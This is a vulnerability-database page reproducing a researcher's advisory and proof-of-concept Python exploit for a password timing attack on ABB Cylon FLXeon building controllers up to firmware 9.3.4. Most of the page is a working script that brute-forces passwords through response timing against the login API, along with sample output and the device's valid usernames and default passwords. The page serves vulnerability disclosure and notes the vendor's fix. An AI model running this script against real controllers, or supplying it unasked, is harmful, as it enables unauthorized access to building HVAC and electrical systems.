Lucene search
K

ABB Cylon FLXeon 9.3.4 (login.js) Node Timing Attack

🗓️ 14 Feb 2025 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 330 Views

Timing attack in ABB Cylon FLXeon 9.3.4 exposes sensitive information through password verification flaws.

Code
<html><body><p>#!/usr/bin/env python3
#
#
# ABB Cylon FLXeon 9.3.4 (login.js) Node Timing Attack
# 
# 
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb                   
# Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
#                   CBX Series (FLX Series)
#                   CBT Series
#                   CBV Series
#                   Firmware: &lt;=9.3.4
# 
# Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
# series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
# building management solutions. ABB BACnet controllers are designed for intelligent
# control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
# heat pump systems, air handling units (constant volume, variable air volume, and
# multi-zone), rooftop units, electrical systems such as lighting control, variable
# frequency drives and metering.
# 
# The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
# connectivity and open integration for your building automation systems. It's scalable,
# and modular, allowing you to control a diverse range of HVAC functions.
#
# Desc: A timing attack vulnerability exists in ABB Cylon FLXeon's authentication process
# due to improper comparison of password hashes in login.js and uukl.js. Specifically,
# the verifyPassword() function in login.js and the verify() function in uukl.js both
# calculate the password hash and compare it to the stored hash. In these implementations,
# small differences in response times are introduced based on how much of the password
# or the username matches the stored hash, making the system vulnerable to timing-based
# analysis.
#
# In the verifyPassword() function in login.js, the comparison is performed using (passwordHash !== hash),
# which can reveal subtle timing discrepancies depending on the number of matching characters
# between the calculated and stored hashes. Similarly, in uukl.js, the verify() function
# compares the calculated hash (const hash = md5sum.digest('hex');) to the saved hash
# using if (hash == savedHash). The time taken for these comparisons can vary based on the
# number of correct characters in the password, allowing an attacker to infer portions of
# the password by measuring response times.
#
# These vulnerabilities can be exploited by attackers to enumerate valid usernames and
# incrementally discover passwords. By analyzing the differences in response times, attackers
# can determine which characters of the password are correct. This can lead to information
# leakage, user enumeration, and password cracking. The timing differences between correct
# and incorrect passwords, combined with the use of simple conditional checks for hash
# comparisons, provide an opportunity for attackers to deduce valid portions of the password.
# This makes it easier for attackers to identify the correct password, especially when
# attempting to reset or change it.
#
# Network latency can introduce additional mismeasurement, affecting the accuracy of timing
# differences and potentially leading to false conclusions during the attack.
#
# Fix:
# Version: 9.3.5
# Introduced: crypto.timingSafeEqual() to apply constant-time comparison.
#
# -----------------------------------------------------
#
# $ ./ntime.py 7.3.3.1 --verbose # not a valid username
# [DEBUG] Initial check failed (HTTP 401)
# [DEBUG] Baseline time: 337 ms
# [1] Tried: changemea | Avg Response: 344 ms
# [2] Tried: changemeb | Avg Response: 333 ms
# [3] Tried: changemec | Avg Response: 333 ms
# [4] Tried: changemed | Avg Response: 344 ms
# [5] Tried: changemee | Avg Response: 328 ms
# [6] Tried: changemef | Avg Response: 333 ms
# [7] Tried: changemeg | Avg Response: 339 ms
# [8] Tried: changemeh | Avg Response: 333 ms
# [9] Tried: changemei | Avg Response: 333 ms
# [10] Tried: changemej | Avg Response: 322 ms
# ^C
# $ ./ntime.py 7.3.3.1 --verbose # valid username
# [DEBUG] Initial check failed (HTTP 401)
# [DEBUG] Baseline time: 599 ms
# [1] Tried: changemea | Avg Response: 672 ms
# [2] Tried: changemeb | Avg Response: 617 ms
# [3] Tried: changemec | Avg Response: 611 ms
# [4] Tried: changemed | Avg Response: 600 ms
# [5] Tried: changemee | Avg Response: 594 ms
# [6] Tried: changemef | Avg Response: 617 ms
# [7] Tried: changemeg | Avg Response: 600 ms
# [8] Tried: changemeh | Avg Response: 605 ms
# [9] Tried: changemei | Avg Response: 605 ms
# [10] Tried: changemej | Avg Response: 605 ms
#
# -----------------------------------------------------
#
# Tested on: Linux Kernel 5.4.27
#            Linux Kernel 4.15.13
#            NodeJS/8.4.0
#            Express
# 
# 
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2025-5925
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5925.php
# CWE ID: CWE-208 (Observable Timing Discrepancy)
# CWE URL: https://cwe.mitre.org/data/definitions/208.html
#
#
# 21.04.2024
#
#

from datetime import datetime
from statistics import mean
import threading
import requests
import string
import time
import sys

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

proj = r"""
                 P   R   O   J   E   C   T

                        .|
                        | |
                        |'|            ._____
                ___    |  |            |.   |' .---"|
        _    .-'   '-. |  |     .--'|  ||   | _|    |
     .-'|  _.|  |    ||   '-__  |   |  |    ||      |
     |' | |.    |    ||       | |   |  |    ||      |
 ____|  '-'     '    ""       '-'   '-.'    '`      |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
         ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ 
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ 
         ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
                                         
            ABB Cylon FLXeon Series &lt;=9.3.4
                 NodeJS Timing Attack
                    ZSL-2025-5925
"""

print(proj)

if len(sys.argv) &lt; 2:
    print(f"Usage: {sys.argv[0]} <ip> [--verbose]")
    sys.exit(1)

ip = sys.argv[1]
url = f"https://{ip}/api/login"
username = "rooot"    # valid users: root, admin, cxpro
password = "changeme" # default pwds: cylonctl, siteguide
charset = string.ascii_lowercase + string.digits

verbose = "--verbose" in sys.argv

SAMPLES = 3           # number of samples for timing accuracy
BASELINE_SAMPLES = 5  # baseline measurement attempts

request_counter = 0
request_counter_lock = threading.Lock()

def ftime(seconds):
    if seconds &lt; 1:
        return f"{seconds * 1000:.0f} ms"
    else:
        return f"{seconds:.2f} s"

def chkpwd():
    global password
    data = {"username": username, "password": password}
    try:
        response = requests.post(url, json=data, verify=False)
        if response.status_code == 200:
            print(f"[+] Password found instantly: {password}")
            return True
        elif verbose:
            print(f"[DEBUG] Initial check failed (HTTP {response.status_code})")
    except Exception as e:
        print(f"[ERROR] Request failed: {e}")
    return False

def measure(full_password):
    timings = []
    for _ in range(SAMPLES):
        start = time.time()
        try:
            headers = {'Connection': 'close'}
            response = requests.post(url, json={"username": username, "password": full_password}, 
                                    verify=False, headers=headers)
            response.text
        except Exception as e:
            return None
        elapsed = time.time() - start
        timings.append(elapsed)
    return mean(timings)

def brutus():
    global password

    if chkpwd():
        return

    baseline_times = []
    for _ in range(BASELINE_SAMPLES):
        time = measure("wrong_password")
        if time:
            baseline_times.append(time)
    baseline = mean(baseline_times) if baseline_times else 0

    print(f"[DEBUG] Baseline time: {ftime(baseline)}")

    for position in range(len(password), 17): # pwd length
        best_char = None
        best_time = baseline

        for char in charset:
            candidate = password + char
            avg_time = measure(candidate)
            if not avg_time:
                continue

            if verbose:
                with request_counter_lock:
                    global request_counter
                    request_counter += 1
                    print(f"[{request_counter}] Tried: {candidate} | Avg Response: {ftime(avg_time)}")

            if avg_time &gt; best_time * 1.2: # 20% threshold
                best_char = char
                best_time = avg_time

        if best_char:
            password += best_char
            print(f"[+] Progress: {password}")
            data = {"username": username, "password": password}
            response = requests.post(url, json=data, verify=False)
            if response.status_code == 200:
                print(f"[+] Password Found: {password}")
                return
        else:
            print("[ERROR] No significant timing difference detected.")
            break

if __name__ == "__main__":
    start_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    print(f"[+] Le script started at {start_time}")
    brutus()
</ip></p></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation